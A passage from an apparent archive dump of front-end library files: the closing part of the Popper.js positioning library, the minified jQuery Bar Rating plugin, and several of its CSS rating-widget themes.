    popper = _extends({}, popper, check[side](placement));
  });

  data.offsets.popper = popper;

  return data;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by `update` method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function shift(data) {
  var placement = data.placement;
  var basePlacement = placement.split('-')[0];
  var shiftvariation = placement.split('-')[1];

  // if shift shiftvariation is specified, run the modifier
  if (shiftvariation) {
    var _data$offsets = data.offsets,
        reference = _data$offsets.reference,
        popper = _data$offsets.popper;

    var isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;
    var side = isVertical ? 'left' : 'top';
    var measurement = isVertical ? 'width' : 'height';

    var shiftOffsets = {
      start: defineProperty({}, side, reference[side]),
      end: defineProperty({}, side, reference[side] + reference[measurement] - popper[measurement])
    };

    data.offsets.popper = _extends({}, popper, shiftOffsets[shiftvariation]);
  }

  return data;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function hide(data) {
  if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {
    return data;
  }

  var refRect = data.offsets.reference;
  var bound = find(data.instance.modifiers, function (modifier) {
    return modifier.name === 'preventOverflow';
  }).boundaries;

  if (refRect.bottom < bound.top || refRect.left > bound.right || refRect.top > bound.bottom || refRect.right < bound.left) {
    // Avoid unnecessary DOM access if visibility hasn't changed
    if (data.hide === true) {
      return data;
    }

    data.hide = true;
    data.attributes['x-out-of-boundaries'] = '';
  } else {
    // Avoid unnecessary DOM access if visibility hasn't changed
    if (data.hide === false) {
      return data;
    }

    data.hide = false;
    data.attributes['x-out-of-boundaries'] = false;
  }

  return data;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by `update` method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function inner(data) {
  var placement = data.placement;
  var basePlacement = placement.split('-')[0];
  var _data$offsets = data.offsets,
      popper = _data$offsets.popper,
      reference = _data$offsets.reference;

  var isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;

  var subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;

  popper[isHoriz ? 'left' : 'top'] = reference[basePlacement] - (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);

  data.placement = getOppositePlacement(placement);
  data.offsets.popper = getClientRect(popper);

  return data;
}

/**
 * Modifier function, each modifier can have a function of this type assigned
 * to its `fn` property.<br />
 * These functions will be called on each update, this means that you must
 * make sure they are performant enough to avoid performance bottlenecks.
 *
 * @function ModifierFn
 * @argument {dataObject} data - The data object generated by `update` method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {dataObject} The data object, properly modified
 */

/**
 * Modifiers are plugins used to alter the behavior of your poppers.<br />
 * Popper.js uses a set of 9 modifiers to provide all the basic functionalities
 * needed by the library.
 *
 * Usually you don't want to override the `order`, `fn` and `onLoad` props.
 * All the other properties are configurations that could be tweaked.
 * @namespace modifiers
 */
var modifiers = {
  /**
   * Modifier used to shift the popper on the start or end of its reference
   * element.<br />
   * It will read the variation of the `placement` property.<br />
   * It can be one either `-end` or `-start`.
   * @memberof modifiers
   * @inner
   */
  shift: {
    /** @prop {number} order=100 - Index used to define the order of execution */
    order: 100,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: shift
  },

  /**
   * The `offset` modifier can shift your popper on both its axis.
   *
   * It accepts the following units:
   * - `px` or unit-less, interpreted as pixels
   * - `%` or `%r`, percentage relative to the length of the reference element
   * - `%p`, percentage relative to the length of the popper element
   * - `vw`, CSS viewport width unit
   * - `vh`, CSS viewport height unit
   *
   * For length is intended the main axis relative to the placement of the popper.<br />
   * This means that if the placement is `top` or `bottom`, the length will be the
   * `width`. In case of `left` or `right`, it will be the `height`.
   *
   * You can provide a single value (as `Number` or `String`), or a pair of values
   * as `String` divided by a comma or one (or more) white spaces.<br />
   * The latter is a deprecated method because it leads to confusion and will be
   * removed in v2.<br />
   * Additionally, it accepts additions and subtractions between different units.
   * Note that multiplications and divisions aren't supported.
   *
   * Valid examples are:
   * ```
   * 10
   * '10%'
   * '10, 10'
   * '10%, 10'
   * '10 + 10%'
   * '10 - 5vh + 3%'
   * '-10px + 5vh, 5px - 6%'
   * ```
   * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap
   * > with their reference element, unfortunately, you will have to disable the `flip` modifier.
   * > You can read more on this at this [issue](https://github.com/FezVrasta/popper.js/issues/373).
   *
   * @memberof modifiers
   * @inner
   */
  offset: {
    /** @prop {number} order=200 - Index used to define the order of execution */
    order: 200,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: offset,
    /** @prop {Number|String} offset=0
     * The offset value as described in the modifier description
     */
    offset: 0
  },

  /**
   * Modifier used to prevent the popper from being positioned outside the boundary.
   *
   * A scenario exists where the reference itself is not within the boundaries.<br />
   * We can say it has "escaped the boundaries" — or just "escaped".<br />
   * In this case we need to decide whether the popper should either:
   *
   * - detach from the reference and remain "trapped" in the boundaries, or
   * - if it should ignore the boundary and "escape with its reference"
   *
   * When `escapeWithReference` is set to`true` and reference is completely
   * outside its boundaries, the popper will overflow (or completely leave)
   * the boundaries in order to remain attached to the edge of the reference.
   *
   * @memberof modifiers
   * @inner
   */
  preventOverflow: {
    /** @prop {number} order=300 - Index used to define the order of execution */
    order: 300,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: preventOverflow,
    /**
     * @prop {Array} [priority=['left','right','top','bottom']]
     * Popper will try to prevent overflow following these priorities by default,
     * then, it could overflow on the left and on top of the `boundariesElement`
     */
    priority: ['left', 'right', 'top', 'bottom'],
    /**
     * @prop {number} padding=5
     * Amount of pixel used to define a minimum distance between the boundaries
     * and the popper. This makes sure the popper always has a little padding
     * between the edges of its container
     */
    padding: 5,
    /**
     * @prop {String|HTMLElement} boundariesElement='scrollParent'
     * Boundaries used by the modifier. Can be `scrollParent`, `window`,
     * `viewport` or any DOM element.
     */
    boundariesElement: 'scrollParent'
  },

  /**
   * Modifier used to make sure the reference and its popper stay near each other
   * without leaving any gap between the two. Especially useful when the arrow is
   * enabled and you want to ensure that it points to its reference element.
   * It cares only about the first axis. You can still have poppers with margin
   * between the popper and its reference element.
   * @memberof modifiers
   * @inner
   */
  keepTogether: {
    /** @prop {number} order=400 - Index used to define the order of execution */
    order: 400,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: keepTogether
  },

  /**
   * This modifier is used to move the `arrowElement` of the popper to make
   * sure it is positioned between the reference element and its popper element.
   * It will read the outer size of the `arrowElement` node to detect how many
   * pixels of conjunction are needed.
   *
   * It has no effect if no `arrowElement` is provided.
   * @memberof modifiers
   * @inner
   */
  arrow: {
    /** @prop {number} order=500 - Index used to define the order of execution */
    order: 500,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: arrow,
    /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */
    element: '[x-arrow]'
  },

  /**
   * Modifier used to flip the popper's placement when it starts to overlap its
   * reference element.
   *
   * Requires the `preventOverflow` modifier before it in order to work.
   *
   * **NOTE:** this modifier will interrupt the current update cycle and will
   * restart it if it detects the need to flip the placement.
   * @memberof modifiers
   * @inner
   */
  flip: {
    /** @prop {number} order=600 - Index used to define the order of execution */
    order: 600,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: flip,
    /**
     * @prop {String|Array} behavior='flip'
     * The behavior used to change the popper's placement. It can be one of
     * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid
     * placements (with optional variations)
     */
    behavior: 'flip',
    /**
     * @prop {number} padding=5
     * The popper will flip if it hits the edges of the `boundariesElement`
     */
    padding: 5,
    /**
     * @prop {String|HTMLElement} boundariesElement='viewport'
     * The element which will define the boundaries of the popper position.
     * The popper will never be placed outside of the defined boundaries
     * (except if `keepTogether` is enabled)
     */
    boundariesElement: 'viewport'
  },

  /**
   * Modifier used to make the popper flow toward the inner of the reference element.
   * By default, when this modifier is disabled, the popper will be placed outside
   * the reference element.
   * @memberof modifiers
   * @inner
   */
  inner: {
    /** @prop {number} order=700 - Index used to define the order of execution */
    order: 700,
    /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */
    enabled: false,
    /** @prop {ModifierFn} */
    fn: inner
  },

  /**
   * Modifier used to hide the popper when its reference element is outside of the
   * popper boundaries. It will set a `x-out-of-boundaries` attribute which can
   * be used to hide with a CSS selector the popper when its reference is
   * out of boundaries.
   *
   * Requires the `preventOverflow` modifier before it in order to work.
   * @memberof modifiers
   * @inner
   */
  hide: {
    /** @prop {number} order=800 - Index used to define the order of execution */
    order: 800,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: hide
  },

  /**
   * Computes the style that will be applied to the popper element to gets
   * properly positioned.
   *
   * Note that this modifier will not touch the DOM, it just prepares the styles
   * so that `applyStyle` modifier can apply it. This separation is useful
   * in case you need to replace `applyStyle` with a custom implementation.
   *
   * This modifier has `850` as `order` value to maintain backward compatibility
   * with previous versions of Popper.js. Expect the modifiers ordering method
   * to change in future major versions of the library.
   *
   * @memberof modifiers
   * @inner
   */
  computeStyle: {
    /** @prop {number} order=850 - Index used to define the order of execution */
    order: 850,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: computeStyle,
    /**
     * @prop {Boolean} gpuAcceleration=true
     * If true, it uses the CSS 3D transformation to position the popper.
     * Otherwise, it will use the `top` and `left` properties
     */
    gpuAcceleration: true,
    /**
     * @prop {string} [x='bottom']
     * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.
     * Change this if your popper should grow in a direction different from `bottom`
     */
    x: 'bottom',
    /**
     * @prop {string} [x='left']
     * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.
     * Change this if your popper should grow in a direction different from `right`
     */
    y: 'right'
  },

  /**
   * Applies the computed styles to the popper element.
   *
   * All the DOM manipulations are limited to this modifier. This is useful in case
   * you want to integrate Popper.js inside a framework or view library and you
   * want to delegate all the DOM manipulations to it.
   *
   * Note that if you disable this modifier, you must make sure the popper element
   * has its position set to `absolute` before Popper.js can do its work!
   *
   * Just disable this modifier and define your own to achieve the desired effect.
   *
   * @memberof modifiers
   * @inner
   */
  applyStyle: {
    /** @prop {number} order=900 - Index used to define the order of execution */
    order: 900,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: applyStyle,
    /** @prop {Function} */
    onLoad: applyStyleOnLoad,
    /**
     * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier
     * @prop {Boolean} gpuAcceleration=true
     * If true, it uses the CSS 3D transformation to position the popper.
     * Otherwise, it will use the `top` and `left` properties
     */
    gpuAcceleration: undefined
  }
};

/**
 * The `dataObject` is an object containing all the information used by Popper.js.
 * This object is passed to modifiers and to the `onCreate` and `onUpdate` callbacks.
 * @name dataObject
 * @property {Object} data.instance The Popper.js instance
 * @property {String} data.placement Placement applied to popper
 * @property {String} data.originalPlacement Placement originally defined on init
 * @property {Boolean} data.flipped True if popper has been flipped by flip modifier
 * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper
 * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier
 * @property {Object} data.styles Any CSS property defined here will be applied to the popper. It expects the JavaScript nomenclature (eg. `marginBottom`)
 * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow. It expects the JavaScript nomenclature (eg. `marginBottom`)
 * @property {Object} data.boundaries Offsets of the popper boundaries
 * @property {Object} data.offsets The measurements of popper, reference and arrow elements
 * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values
 * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values
 * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0
 */

/**
 * Default options provided to Popper.js constructor.<br />
 * These can be overridden using the `options` argument of Popper.js.<br />
 * To override an option, simply pass an object with the same
 * structure of the `options` object, as the 3rd argument. For example:
 * ```
 * new Popper(ref, pop, {
 *   modifiers: {
 *     preventOverflow: { enabled: false }
 *   }
 * })
 * ```
 * @type {Object}
 * @static
 * @memberof Popper
 */
var Defaults = {
  /**
   * Popper's placement.
   * @prop {Popper.placements} placement='bottom'
   */
  placement: 'bottom',

  /**
   * Set this to true if you want popper to position it self in 'fixed' mode
   * @prop {Boolean} positionFixed=false
   */
  positionFixed: false,

  /**
   * Whether events (resize, scroll) are initially enabled.
   * @prop {Boolean} eventsEnabled=true
   */
  eventsEnabled: true,

  /**
   * Set to true if you want to automatically remove the popper when
   * you call the `destroy` method.
   * @prop {Boolean} removeOnDestroy=false
   */
  removeOnDestroy: false,

  /**
   * Callback called when the popper is created.<br />
   * By default, it is set to no-op.<br />
   * Access Popper.js instance with `data.instance`.
   * @prop {onCreate}
   */
  onCreate: function onCreate() {},

  /**
   * Callback called when the popper is updated. This callback is not called
   * on the initialization/creation of the popper, but only on subsequent
   * updates.<br />
   * By default, it is set to no-op.<br />
   * Access Popper.js instance with `data.instance`.
   * @prop {onUpdate}
   */
  onUpdate: function onUpdate() {},

  /**
   * List of modifiers used to modify the offsets before they are applied to the popper.
   * They provide most of the functionalities of Popper.js.
   * @prop {modifiers}
   */
  modifiers: modifiers
};

/**
 * @callback onCreate
 * @param {dataObject} data
 */

/**
 * @callback onUpdate
 * @param {dataObject} data
 */

// Utils
// Methods
var Popper = function () {
  /**
   * Creates a new Popper.js instance.
   * @class Popper
   * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper
   * @param {HTMLElement} popper - The HTML element used as the popper
   * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)
   * @return {Object} instance - The generated Popper.js instance
   */
  function Popper(reference, popper) {
    var _this = this;

    var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};
    classCallCheck(this, Popper);

    this.scheduleUpdate = function () {
      return requestAnimationFrame(_this.update);
    };

    // make update() debounced, so that it only runs at most once-per-tick
    this.update = debounce(this.update.bind(this));

    // with {} we create a new object with the options inside it
    this.options = _extends({}, Popper.Defaults, options);

    // init state
    this.state = {
      isDestroyed: false,
      isCreated: false,
      scrollParents: []
    };

    // get reference and popper elements (allow jQuery wrappers)
    this.reference = reference && reference.jquery ? reference[0] : reference;
    this.popper = popper && popper.jquery ? popper[0] : popper;

    // Deep merge modifiers options
    this.options.modifiers = {};
    Object.keys(_extends({}, Popper.Defaults.modifiers, options.modifiers)).forEach(function (name) {
      _this.options.modifiers[name] = _extends({}, Popper.Defaults.modifiers[name] || {}, options.modifiers ? options.modifiers[name] : {});
    });

    // Refactoring modifiers' list (Object => Array)
    this.modifiers = Object.keys(this.options.modifiers).map(function (name) {
      return _extends({
        name: name
      }, _this.options.modifiers[name]);
    })
    // sort the modifiers by order
    .sort(function (a, b) {
      return a.order - b.order;
    });

    // modifiers have the ability to execute arbitrary code when Popper.js get inited
    // such code is executed in the same order of its modifier
    // they could add new properties to their options configuration
    // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!
    this.modifiers.forEach(function (modifierOptions) {
      if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {
        modifierOptions.onLoad(_this.reference, _this.popper, _this.options, modifierOptions, _this.state);
      }
    });

    // fire the first update to position the popper in the right place
    this.update();

    var eventsEnabled = this.options.eventsEnabled;
    if (eventsEnabled) {
      // setup event listeners, they will take care of update the position in specific situations
      this.enableEventListeners();
    }

    this.state.eventsEnabled = eventsEnabled;
  }

  // We can't use class properties because they don't get listed in the
  // class prototype and break stuff like Sinon stubs


  createClass(Popper, [{
    key: 'update',
    value: function update$$1() {
      return update.call(this);
    }
  }, {
    key: 'destroy',
    value: function destroy$$1() {
      return destroy.call(this);
    }
  }, {
    key: 'enableEventListeners',
    value: function enableEventListeners$$1() {
      return enableEventListeners.call(this);
    }
  }, {
    key: 'disableEventListeners',
    value: function disableEventListeners$$1() {
      return disableEventListeners.call(this);
    }

    /**
     * Schedules an update. It will run on the next UI update available.
     * @method scheduleUpdate
     * @memberof Popper
     */


    /**
     * Collection of utilities useful when writing custom modifiers.
     * Starting from version 1.7, this method is available only if you
     * include `popper-utils.js` before `popper.js`.
     *
     * **DEPRECATION**: This way to access PopperUtils is deprecated
     * and will be removed in v2! Use the PopperUtils module directly instead.
     * Due to the high instability of the methods contained in Utils, we can't
     * guarantee them to follow semver. Use them at your own risk!
     * @static
     * @private
     * @type {Object}
     * @deprecated since version 1.8
     * @member Utils
     * @memberof Popper
     */

  }]);
  return Popper;
}();

/**
 * The `referenceObject` is an object that provides an interface compatible with Popper.js
 * and lets you use it as replacement of a real DOM node.<br />
 * You can use this method to position a popper relatively to a set of coordinates
 * in case you don't have a DOM node to use as reference.
 *
 * ```
 * new Popper(referenceObject, popperNode);
 * ```
 *
 * NB: This feature isn't supported in Internet Explorer 10.
 * @name referenceObject
 * @property {Function} data.getBoundingClientRect
 * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.
 * @property {number} data.clientWidth
 * An ES6 getter that will return the width of the virtual reference element.
 * @property {number} data.clientHeight
 * An ES6 getter that will return the height of the virtual reference element.
 */


Popper.Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;
Popper.placements = placements;
Popper.Defaults = Defaults;

export default Popper;
//# sourceMappingURL=popper.js.map
jquery.barrating.min.js000064400000013130151677376640011177 0ustar00!function(t){"function"==typeof define&&define.amd?define(["jquery"],t):"object"==typeof module&&module.exports?module.exports=t(require("jquery")):t(jQuery)}(function(t){var e=function(){function e(){var e=this,n=function(){var n=["br-wrapper"];""!==e.options.theme&&n.push("br-theme-"+e.options.theme),e.$elem.wrap(t("<div />",{"class":n.join(" ")}))},i=function(){e.$elem.unwrap()},a=function(n){return t.isNumeric(n)&&(n=Math.floor(n)),t('option[value="'+n+'"]',e.$elem)},r=function(){var n=e.options.initialRating;return n?a(n):t("option:selected",e.$elem)},o=function(){var n=e.$elem.find('option[value="'+e.options.emptyValue+'"]');return!n.length&&e.options.allowEmpty?(n=t("<option />",{value:e.options.emptyValue}),n.prependTo(e.$elem)):n},l=function(t){var n=e.$elem.data("barrating");return"undefined"!=typeof t?n[t]:n},s=function(t,n){null!==n&&"object"==typeof n?e.$elem.data("barrating",n):e.$elem.data("barrating")[t]=n},u=function(){var t=r(),n=o(),i=t.val(),a=t.data("html")?t.data("html"):t.text(),l=null!==e.options.allowEmpty?e.options.allowEmpty:!!n.length,u=n.length?n.val():null,d=n.length?n.text():null;s(null,{userOptions:e.options,ratingValue:i,ratingText:a,originalRatingValue:i,originalRatingText:a,allowEmpty:l,emptyRatingValue:u,emptyRatingText:d,readOnly:e.options.readonly,ratingMade:!1})},d=function(){e.$elem.removeData("barrating")},c=function(){return l("ratingText")},f=function(){return l("ratingValue")},g=function(){var n=t("<div />",{"class":"br-widget"});return e.$elem.find("option").each(function(){var i,a,r,o;i=t(this).val(),i!==l("emptyRatingValue")&&(a=t(this).text(),r=t(this).data("html"),r&&(a=r),o=t("<a />",{href:"#","data-rating-value":i,"data-rating-text":a,html:e.options.showValues?a:""}),n.append(o))}),e.options.showSelectedRating&&n.append(t("<div />",{text:"","class":"br-current-rating"})),e.options.reverse&&n.addClass("br-reverse"),e.options.readonly&&n.addClass("br-readonly"),n},p=function(){return l("userOptions").reverse?"nextAll":"prevAll"},h=function(t){a(t).prop("selected",!0),e.$elem.change()},m=function(){t("option",e.$elem).prop("selected",function(){return this.defaultSelected}),e.$elem.change()},v=function(t){t=t?t:c(),t==l("emptyRatingText")&&(t=""),e.options.showSelectedRating&&e.$elem.parent().find(".br-current-rating").text(t)},y=function(t){return Math.round(Math.floor(10*t)/10%1*100)},b=function(){e.$widget.find("a").removeClass(function(t,e){return(e.match(/(^|\s)br-\S+/g)||[]).join(" ")})},w=function(){var n,i,a=e.$widget.find('a[data-rating-value="'+f()+'"]'),r=l("userOptions").initialRating,o=t.isNumeric(f())?f():0,s=y(r);if(b(),a.addClass("br-selected br-current")[p()]().addClass("br-selected"),!l("ratingMade")&&t.isNumeric(r)){if(o>=r||!s)return;n=e.$widget.find("a"),i=a.length?a[l("userOptions").reverse?"prev":"next"]():n[l("userOptions").reverse?"last":"first"](),i.addClass("br-fractional"),i.addClass("br-fractional-"+s)}},$=function(t){return l("allowEmpty")&&l("userOptions").deselectable?f()==t.attr("data-rating-value"):!1},x=function(n){n.on("click.barrating",function(n){var i,a,r=t(this),o=l("userOptions");return n.preventDefault(),i=r.attr("data-rating-value"),a=r.attr("data-rating-text"),$(r)&&(i=l("emptyRatingValue"),a=l("emptyRatingText")),s("ratingValue",i),s("ratingText",a),s("ratingMade",!0),h(i),v(a),w(),o.onSelect.call(e,f(),c(),n),!1})},R=function(e){e.on("mouseenter.barrating",function(){var e=t(this);b(),e.addClass("br-active")[p()]().addClass("br-active"),v(e.attr("data-rating-text"))})},V=function(t){e.$widget.on("mouseleave.barrating blur.barrating",function(){v(),w()})},O=function(e){e.on("touchstart.barrating",function(e){e.preventDefault(),e.stopPropagation(),t(this).click()})},C=function(t){t.on("click.barrating",function(t){t.preventDefault()})},S=function(t){x(t),e.options.hoverState&&(R(t),V(t))},T=function(t){t.off(".barrating")},j=function(t){var n=e.$widget.find("a");O&&O(n),t?(T(n),C(n)):S(n)};this.show=function(){l()||(n(),u(),e.$widget=g(),e.$widget.insertAfter(e.$elem),w(),v(),j(e.options.readonly),e.$elem.hide())},this.readonly=function(t){"boolean"==typeof t&&l("readOnly")!=t&&(j(t),s("readOnly",t),e.$widget.toggleClass("br-readonly"))},this.set=function(t){var n=l("userOptions");0!==e.$elem.find('option[value="'+t+'"]').length&&(s("ratingValue",t),s("ratingText",e.$elem.find('option[value="'+t+'"]').text()),s("ratingMade",!0),h(f()),v(c()),w(),n.silent||n.onSelect.call(this,f(),c()))},this.clear=function(){var t=l("userOptions");s("ratingValue",l("originalRatingValue")),s("ratingText",l("originalRatingText")),s("ratingMade",!1),m(),v(c()),w(),t.onClear.call(this,f(),c())},this.destroy=function(){var t=f(),n=c(),a=l("userOptions");T(e.$widget.find("a")),e.$widget.remove(),d(),i(),e.$elem.show(),a.onDestroy.call(this,t,n)}}return e.prototype.init=function(e,n){return this.$elem=t(n),this.options=t.extend({},t.fn.barrating.defaults,e),this.options},e}();t.fn.barrating=function(n,i){return this.each(function(){var a=new e;if(t(this).is("select")||t.error("Sorry, this plugin only works with select fields."),a.hasOwnProperty(n)){if(a.init(i,this),"show"===n)return a.show(i);if(a.$elem.data("barrating"))return a.$widget=t(this).next(".br-widget"),a[n](i)}else{if("object"==typeof n||!n)return i=n,a.init(i,this),a.show();t.error("Method "+n+" does not exist on jQuery.barrating")}})},t.fn.barrating.defaults={theme:"",initialRating:null,allowEmpty:null,emptyValue:"",showValues:!1,showSelectedRating:!0,deselectable:!0,reverse:!1,readonly:!1,fastClicks:!0,hoverState:!0,silent:!1,onSelect:function(t,e,n){},onClear:function(t,e){},onDestroy:function(t,e){}},t.fn.barrating.BarRating=e});
//# sourceMappingURL=jquery.barrating.min.js.mapthemes/bars-square.css000064400000002332151677376640011016 0ustar00.br-theme-bars-square .br-widget {
  height: 15px;
  white-space: nowrap;
}
.br-theme-bars-square .br-widget a {
  display: block;
  width: 30px;
  height: 30px;
  float: left;
  border: 2px solid #bbcefb;
  background-color: white;
  margin: 2px;
  text-decoration: none;
  font-size: 14px;
  font-weight: 400;
  line-height: 2;
  text-align: center;
  color: #bbcefb;
  font-weight: 600;
}
.br-theme-bars-square .br-widget a.br-active,
.br-theme-bars-square .br-widget a.br-selected {
  border: 2px solid #4278F5;
  color: #4278F5;
}
.br-theme-bars-square .br-widget .br-current-rating {
  clear: both;
  width: 330px;
  text-align: center;
  font-weight: 600;
  display: block;
  padding: .5em 0;
  color: #646464;
}
.br-theme-bars-square .br-readonly a {
  cursor: default;
}
.br-theme-bars-square .br-readonly a.br-active,
.br-theme-bars-square .br-readonly a.br-selected {
  border: 2px solid #729bf8;
  color: #729bf8;
}
@media print {
  .br-theme-bars-square .br-widget a {
    border: 2px solid #b3b3b3;
    color: #b3b3b3;
  }
  .br-theme-bars-square .br-widget a.br-active,
  .br-theme-bars-square .br-widget a.br-selected {
    border: 2px solid black;
    color: black;
  }
}
themes/fontawesome-stars.css000064400000001744151677376640012260 0ustar00.br-theme-fontawesome-stars .br-widget {
  height: 28px;
  white-space: nowrap;
}
.br-theme-fontawesome-stars .br-widget a {
  font: normal normal normal 20px/1 FontAwesome;
  text-rendering: auto;
  -webkit-font-smoothing: antialiased;
  text-decoration: none;
  margin-right: 2px;
}
.br-theme-fontawesome-stars .br-widget a:after {
  content: '\f005';
  color: #d2d2d2;
}
.br-theme-fontawesome-stars .br-widget a.br-active:after {
  color: #EDB867;
}
.br-theme-fontawesome-stars .br-widget a.br-selected:after {
  color: #EDB867;
}
.br-theme-fontawesome-stars .br-widget .br-current-rating {
  display: none;
}
.br-theme-fontawesome-stars .br-readonly a {
  cursor: default;
}
@media print {
  .br-theme-fontawesome-stars .br-widget a:after {
    content: '\f006';
    color: black;
  }
  .br-theme-fontawesome-stars .br-widget a.br-active:after,
  .br-theme-fontawesome-stars .br-widget a.br-selected:after {
    content: '\f005';
    color: black;
  }
}
themes/bars-reversed.css000064400000002627151677376640011344 0ustar00.br-theme-bars-reversed .br-widget {
  height: 25px;
  white-space: nowrap;
}
.br-theme-bars-reversed .br-widget a {
  display: block;
  width: 22px;
  height: 22px;
  float: left;
  background-color: #bef5e8;
  margin: 1px;
  font-size: 15px;
  font-weight: 400;
  line-height: 1.4;
  color: #50E3C2;
  text-align: center;
}
.br-theme-bars-reversed .br-widget a.br-active,
.br-theme-bars-reversed .br-widget a.br-selected {
  background-color: #50E3C2;
  color: white;
}
.br-theme-bars-reversed .br-widget .br-current-rating {
  line-height: 1.3;
  float: left;
  padding: 0 20px 0 20px;
  color: #50E3C2;
  font-size: 17px;
  font-weight: 400;
}
.br-theme-bars-reversed .br-readonly a {
  cursor: default;
}
.br-theme-bars-reversed .br-readonly a.br-active,
.br-theme-bars-reversed .br-readonly a.br-selected {
  background-color: #7cead1;
}
.br-theme-bars-reversed .br-readonly .br-current-rating {
  color: #7cead1;
}
@media print {
  .br-theme-bars-reversed .br-widget a {
    border: 1px solid #b3b3b3;
    background: white;
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    box-sizing: border-box;
  }
  .br-theme-bars-reversed .br-widget a.br-active,
  .br-theme-bars-reversed .br-widget a.br-selected {
    border: 1px solid black;
    background: white;
  }
  .br-theme-bars-reversed .br-widget .br-current-rating {
    color: black;
  }
}
themes/bars-movie.css000064400000002426151677376640010641 0ustar00.br-theme-bars-movie .br-widget {
  height: 10px;
  white-space: nowrap;
}
.br-theme-bars-movie .br-widget a {
  display: block;
  width: 60px;
  height: 8px;
  float: left;
  background-color: #bbcefb;
  margin: 1px;
}
.br-theme-bars-movie .br-widget a.br-active,
.br-theme-bars-movie .br-widget a.br-selected {
  background-color: #4278F5;
}
.br-theme-bars-movie .br-widget .br-current-rating {
  clear: both;
  width: 240px;
  text-align: center;
  font-weight: 600;
  display: block;
  padding: .5em 0;
  color: #4278F5;
  font-weight: 400;
}
.br-theme-bars-movie .br-readonly a {
  cursor: default;
}
.br-theme-bars-movie .br-readonly a.br-active,
.br-theme-bars-movie .br-readonly a.br-selected {
  background-color: #729bf8;
}
.br-theme-bars-movie .br-readonly .br-current-rating {
  color: #729bf8;
}
@media print {
  .br-theme-bars-movie .br-widget a {
    border: 1px solid #b3b3b3;
    background: white;
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    box-sizing: border-box;
  }
  .br-theme-bars-movie .br-widget a.br-active,
  .br-theme-bars-movie .br-widget a.br-selected {
    border: 1px solid black;
    background: white;
  }
  .br-theme-bars-movie .br-widget .br-current-rating {
    color: black;
  }
}
themes/bootstrap-stars.css000064400000001733151677376640011744 0ustar00.br-theme-bootstrap-stars .br-widget {
  height: 28px;
  white-space: nowrap;
}
.br-theme-bootstrap-stars .br-widget a {
  font: normal normal normal 18px/1 'Glyphicons Halflings';
  text-rendering: auto;
  -webkit-font-smoothing: antialiased;
  text-decoration: none;
  margin-right: 2px;
}
.br-theme-bootstrap-stars .br-widget a:after {
  content: '\e006';
  color: #d2d2d2;
}
.br-theme-bootstrap-stars .br-widget a.br-active:after {
  color: #EDB867;
}
.br-theme-bootstrap-stars .br-widget a.br-selected:after {
  color: #EDB867;
}
.br-theme-bootstrap-stars .br-widget .br-current-rating {
  display: none;
}
.br-theme-bootstrap-stars .br-readonly a {
  cursor: default;
}
@media print {
  .br-theme-bootstrap-stars .br-widget a:after {
    content: '\e007';
    color: black;
  }
  .br-theme-bootstrap-stars .br-widget a.br-active:after,
  .br-theme-bootstrap-stars .br-widget a.br-selected:after {
    content: '\e006';
    color: black;
  }
}
themes/css-stars.css000064400000001546151677376640010521 0ustar00.br-theme-css-stars .br-widget {
  height: 28px;
  white-space: nowrap;
}
.br-theme-css-stars .br-widget a {
  text-decoration: none;
  height: 18px;
  width: 18px;
  float: left;
  font-size: 23px;
  margin-right: 5px;
}
.br-theme-css-stars .br-widget a:after {
  content: "\2605";
  color: #d2d2d2;
}
.br-theme-css-stars .br-widget a.br-active:after {
  color: #EDB867;
}
